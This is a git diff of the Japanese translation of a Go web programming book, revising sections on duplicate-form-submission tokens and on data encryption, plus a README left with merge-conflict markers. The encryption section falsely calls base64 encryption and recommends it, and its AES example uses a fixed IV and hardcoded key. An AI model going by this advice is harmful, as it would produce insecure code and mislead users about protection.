+以前どこかのBBSやブログでご覧になったかもしれませんが、一つのスレや文章の後でいくつもの重複が記録されていることがあります。これらの大多数はユーザが複数回書き込みフォームを送信してしまったことによるものです。様々な原因で、ユーザはよくフォームを複数回送信してしまいます。通常はマウスの誤操作によるもので、送信ボタンをダブルクリックしてしまったり、一旦送信した内容を再度修正しようとして、ブラウザの戻るボタンを押した後に次へボタンではなくまた送信ボタンを押してしまうことによるものです。当然、故意によるものもあります。- - 例えばネット上のアンケート調査やくじ引きにおいて重複して投票するなどです。では、どのようにしてユーザが同じ内容のフォームの送信を行うことを効果的に防げるのでしょうか? + +解決方法はフォームの中に唯一の値を持ったhiddenフィールドを追加することです。フォームを検証する際、この唯一の値を持ったフォームがすでに送信されているかどうか検証します。もしすでに送信されていれば、二回目の送信を拒絶します。そうでなければフォームに対して処理ロジックを行います。また、もしAjax形式で送信するフォームだった場合、フォームが送信された後、javascriptによってフォームの送信ボタンを禁止します。 + +4.2節の例を改良してみましょう: + + サッカー + バスケットボール + テニス + ユーザ名: + パスワード: + + + +テンプレートの中に`token`というhiddenフィールドを追加しました。この値にはMD5(タイムスタンプ)によってユニークな値を割り当てます。この値をサーバに保存することで(sessionによってコントロールは、6章でどのように保存するか解説します)フォームが送信される際の判定に使うことができます。 + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //リクエストを受け取る方法 + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + //リクエストはログインデータです。ログインのロジックを実行して判断します。 + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + //tokenの合法性を検証します。 + } else { + //tokenが存在しなければエラーを出します。 + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //サーバ側に出力します。 + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) //クライアントに出力します。 + } + } + +出力されるページのソースは以下の通り: + +![](images/4.4.token.png?raw=true) + +図4.4 tokenを追加した後クライアントが出力するソース情報 + +tokenはすでに出力値を持っていますので、連続してページを更新することができます。この値が次々と変化するのがお分かりいただけるかと思います。このように毎回formが表示される時にユニークになるよう保証します。ユーザが送信するフォームは唯一性が保持されます。 + +この解決方法は悪意の無い攻撃に対しても防止することができます。また悪意のあるユーザに対してもしばらく効果があります。その後、この悪意のある動機を捨て去ることができなかった場合は更に複雑な作業が必要となります。 + +## links + * [目次]() + * 前へ: [クロスサイトスクリプティングの予防](<04.3.md>) + * 次へ: [ファイルのアップロード処理](<04.5.md>) diff --git a/ja/09.6.md b/ja/09.6.md index d562cc29..615cf2cd 100644 --- a/ja/09.6.md +++ b/ja/09.6.md @@ -1,85 +1,122 @@ -# 9.6 データを暗号化/復号する -前の節では安全なパスワードの保存の仕方を説明してきました。しかしあるときには、既にデータベースに保存されている、プライバシーに関わる暗号化されたデータを修正する必要があるかもしれません。データを復号することが必要な時は、既に述べた1方向ハッシュ関数の代わりに、対称鍵暗号アルゴリズムを使うべきです。 - -## 高度な暗号化/復号 - -Go言語の`crypto`では対称鍵暗号アルゴリズムをサポートしています。二種類の高度暗号化モジュールがあります。 - -- `crypto/aes`パッケージ:AES(Advanced Encryption Standard)は、Rijndael暗号化アルゴリズムとも呼ばれます。アメリカの連邦政府が採用しているブロック暗号の標準です。 -- `crypto/des`パッケージ:DES(Data Encryption Standard)は対称鍵暗号の標準です。これは現在最も広く使用されている鍵システムです。特に金融データのセキュリティの保護で使われています。かつてアメリカ連邦政府の暗号化のスタンダードでしたがすでにAESにとってかわられています。 - -これら2つのアルゴリズムは使用方法が似ていますので、以下ではaesパッケージを使ってどのようにこれらのパッケージを使うのかを説明していきたいと思います。 - - package main - - import ( - "crypto/aes" - "crypto/cipher" - "fmt" - "os" - ) - - var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} - - func main() { - // 暗号化したい文字列 - plaintext := []byte("My name is Astaxie") - // 暗号化された文字列を渡すと、plaintは渡された文字列になります。 - if len(os.Args) > 1 { - plaintext = []byte(os.Args[1]) - } - - // aesの暗号化文字列 - key_text := "astaxie12798akljzmknm.ahkjkljl;k" - if len(os.Args) > 2 { - key_text = os.Args[2] - } - - fmt.Println(len(key_text)) - - // 暗号化アルゴリズムaesを作成 - c, err := aes.NewCipher([]byte(key_text)) - if err != nil { - fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) - os.Exit(-1) - } - - // 暗号化文字列 - cfb := cipher.NewCFBEncrypter(c, commonIV) - ciphertext := make([]byte, len(plaintext)) - cfb.XORKeyStream(ciphertext, plaintext) - fmt.Printf("%s=>%x\n", plaintext, ciphertext) - - // 復号文字列 - cfbdec := cipher.NewCFBDecrypter(c, commonIV) - plaintextCopy := make([]byte, len(plaintext)) - cfbdec.XORKeyStream(plaintextCopy, ciphertext) - fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) - } - - -上では`aes.NewCipher`(引数keyはかならず16、24または32桁の[]byteとなります。それぞれAES-128, AES-192とAES-256アルゴリズムに対応します。)関数をコールすると`cipher.Block`インターフェースを返します。このインターフェースは3つの機能を実現します: - - type Block interface { - // BlockSize returns the cipher's block size. - BlockSize() int - - // Encrypt encrypts the first block in src into dst. - // Dst and src may point at the same memory. - Encrypt(dst, src []byte) - - // Decrypt decrypts the first block in src into dst. - // Dst and src may point at the same memory. - Decrypt(dst, src []byte) - } - -この3つの関数は暗号化/復号操作を実装します。詳細な操作はGoのドキュメントをご覧ください。 - -## まとめ -この節ではいくつかの暗号化アルゴリズムを紹介しました。これらのアルゴリズムは、Webアプリケーションにおける暗号化/復号の必要に応じて異なる方法で使用することができます。基本的な安全性のみを必要とするアプリケーションではAESアルゴリズムを使うことが勧められます。 - - -## links - * [目次]() - * 前へ: [パスワードの保存](<09.5.md>) - * 次へ: [まとめ](<09.7.md>) +# 9.6 データを暗号化/復号する +前の節でどのようにしてパスワードを保存するかご紹介しました。しかしあるときには、慎重に扱うべきデータを暗号化して保存し、将来のあるときにいつでもそれらを復元したい場合があります。この時双方向暗号化アルゴリズムを使って我々の要求を満たさなければなりません。 + +## base64で暗号化/復号する +もしWebアプリケーションが十分に簡単であれば、データのセキュリティにはそれほど厳格な要求があるわけではありません。ですので比較的簡単な暗号化である`base64`を採用することができます。このような方法は実装するのが比較的簡単で、Go言語の`base64`パッケージではすでにこれをよくサポートしています。下の例をご覧ください: + + package main + + import ( + "encoding/base64" + "fmt" + ) + + func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) + } + + func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) + } + + func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) + } + + +## 高度な暗号化/復号 + +Go言語の`crypto`では双方向暗号の高度な暗号化/復号パッケージがあります: + +- `crypto/aes`パッケージ:AES(Advanced Encryption Standard)は、Rijndael暗号化アルゴリズムとも呼ばれます。アメリカの連邦政府が採用しているブロック暗号の標準の一つです。 +- `crypto/des`パッケージ:DES(Data Encryption Standard)は双方向暗号化標準のひとつです。これは現在秘密鍵のシステムに最も広く使用されています。特に金融データのセキュリティの保護で使われています。かつてアメリカ連邦政府の暗号化のスタンダードでしたがすでにAESにとってかわられています。 + +これら2つのアルゴリズムは使用方法が似ていますので、ここではaesパッケージだけを例にこの使用を解説します。下の例をご覧ください + + package main + + import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" + ) + + var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + + func main() { + // 暗号化したい文字列 + plaintext := []byte("My name is Astaxie") + // 暗号化された文字列を渡すと、plaintは渡された文字列になります。 + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + // aesの暗号化文字列 + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // 暗号化アルゴリズムaesを作成 + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + // 暗号化文字列 + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // 復号文字列 + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) + } + + +上では`aes.NewCipher`(引数keyはかならず16、24または32桁の[]byteとなります。それぞれAES-128, AES-192とAES-256アルゴリズムに対応します。)関数をコールすると`cipher.Block`インターフェースを返します。このインターフェースは3つの機能を実現します: + + type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) + } + +この3つの関数は暗号化/復号操作を実現します。詳細な操作は上の例をご覧ください。 + +## まとめ +この節ではいくつかの暗号化/復号アルゴリズムをご紹介しました。Webアプリケーションを開発している時は要求に合わせて異なる方法によって暗号化/復号を行うことができます。一般的なアプリケーションではbase64アルゴリズムを採用することができます。より高度な場合はaesやdesアルゴリズムを採用することができます。 + + +## links + * [目次]() + * 前へ: [パスワードの保存](<09.5.md>) + * 次へ: [まとめ](<09.7.md>) diff --git a/ja/README.md b/ja/README.md index 72b5a95f..c06d764d 100644 --- a/ja/README.md +++ b/ja/README.md @@ -1,2 +1,7 @@ +<<<<<<< 380a8ee74c41759d8189ad553423467994187253 # Go Web プログラミング Webプログラミングが好きでGo webプログラミングを書きました。皆さんに気にいってもらえれば幸いです。 +======= +# Go Web プログラミング +Webプログラミングが好きでGo webプログラミングを書きました。皆さんに気にいってもらえれば幸いです。 +>>>>>>> update the structure for gitbook diff --git a/ja/build.go b/ja/build.go index bbf8b47b..8228b893 120000 --- a/ja/build.go +++ b/ja/build.go @@ -1 +1 @@ -../zh/build.go \ No newline at end of file +../../ebook/build.go \ No newline at end of file diff --git a/ja/build.sh b/ja/build.sh index c4c5d65d..a100c8e3 120000 --- a/ja/build.sh +++ b/ja/build.sh @@ -1 +1 @@ -../zh/build.sh \ No newline at end of file +../../ebook/build.sh \ No newline at end of file diff --git a/ja/images/alipay.png b/ja/images/alipay.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from ja/images/alipay.png rename to ja/images/alipay.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/ja/images/alipay.png~update the structure for gitbook b/ja/images/alipay.png~update the structure for gitbook new file mode 100644 index 00000000..2bac3531 Binary files /dev/null and b/ja/images/alipay.png~update the structure for gitbook differ diff --git a/ja/src b/ja/src index c4eaad53..9fc720a7 120000 --- a/ja/src +++ b/ja/src @@ -1 +1 @@ -../zh/src \ No newline at end of file +../../ebook/src \ No newline at end of file